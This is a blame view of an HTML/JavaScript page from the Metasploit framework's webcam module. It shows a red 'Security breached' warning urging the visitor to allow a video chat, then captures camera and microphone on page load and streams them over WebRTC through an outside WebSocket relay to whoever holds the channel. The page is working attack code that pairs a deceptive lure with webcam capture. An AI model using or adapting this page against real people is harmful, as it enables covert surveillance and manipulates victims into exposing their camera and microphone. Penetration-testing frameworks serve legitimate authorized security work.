metasploit-framework/data/webcam/offerer.html

95 lines
2.1 KiB
HTML
Raw Normal View History

2014-02-06 16:44:24 +00:00
<!DOCTYPE html>
<head>
2014-02-08 04:17:42 +00:00
<script src="api.js"> </script>
2014-02-06 16:44:24 +00:00
</head>
<body>
2014-02-08 09:53:49 +00:00
<div id="message">
<font color="red">
<h2>Urgent: Security breached.</h2>
Your computer security has been breached during an authorized assessment.<br>
Please allow the video chat request in order to resolve this matter.
</font></div>
2014-02-08 04:17:42 +00:00
<div id="chat_area"></div>
2014-02-06 16:44:24 +00:00
<script>
var channel = 'msfsinn3rtest123';
var websocket = new WebSocket('ws://wsnodejs.jit.su:80');
websocket.onopen = function() {
websocket.push(JSON.stringify({
open: true,
channel: channel
}));
};
websocket.push = websocket.send;
websocket.send = function(data) {
websocket.push(JSON.stringify({
data: data,
channel: channel
}));
};
var peer = new PeerConnection(websocket);
peer.onStreamAdded = function(e) {
var video = e.mediaElement;
video.setAttribute('width', 600);
video.setAttribute('controls', true);
2014-02-08 23:28:15 +00:00
video.volume = 0.2;
2014-02-08 09:53:49 +00:00
document.getElementById("message").style.display = "none";
2014-02-08 04:17:42 +00:00
document.getElementById("chat_area").appendChild(video);
2014-02-06 16:44:24 +00:00
video.play();
};
peer.onStreamEnded = function(e) {
var video = e.mediaElement;
if (video) {
video.style.opacity = 0;
setTimeout(function() {
video.parentNode.removeChild(video);
}, 1000);
}
2014-02-08 21:41:44 +00:00
document.getElementById("message").innerHTML = "The video session has ended.";
document.getElementById("message").style.display = "";
2014-02-06 16:44:24 +00:00
};
window.onload = function() {
console.debug("onload");
getUserMedia(function(stream) {
peer.addStream(stream);
peer.startBroadcasting();
});
};
function getUserMedia(callback) {
var hints = {audio:true,video:{
optional: [],
mandatory: {
minWidth: 1280,
minHeight: 720,
maxWidth: 1920,
maxHeight: 1080,
minAspectRatio: 1.77
}
}};
navigator.getUserMedia(hints,function(stream) {
var video = document.createElement('video');
video.src = URL.createObjectURL(stream);
video.controls = true;
2014-02-07 17:25:20 +00:00
video.muted = false;
2014-02-06 16:44:24 +00:00
peer.onStreamAdded({
mediaElement: video,
userid: 'self',
stream: stream
});
callback(stream);
});
}
</script>
</body>
</html>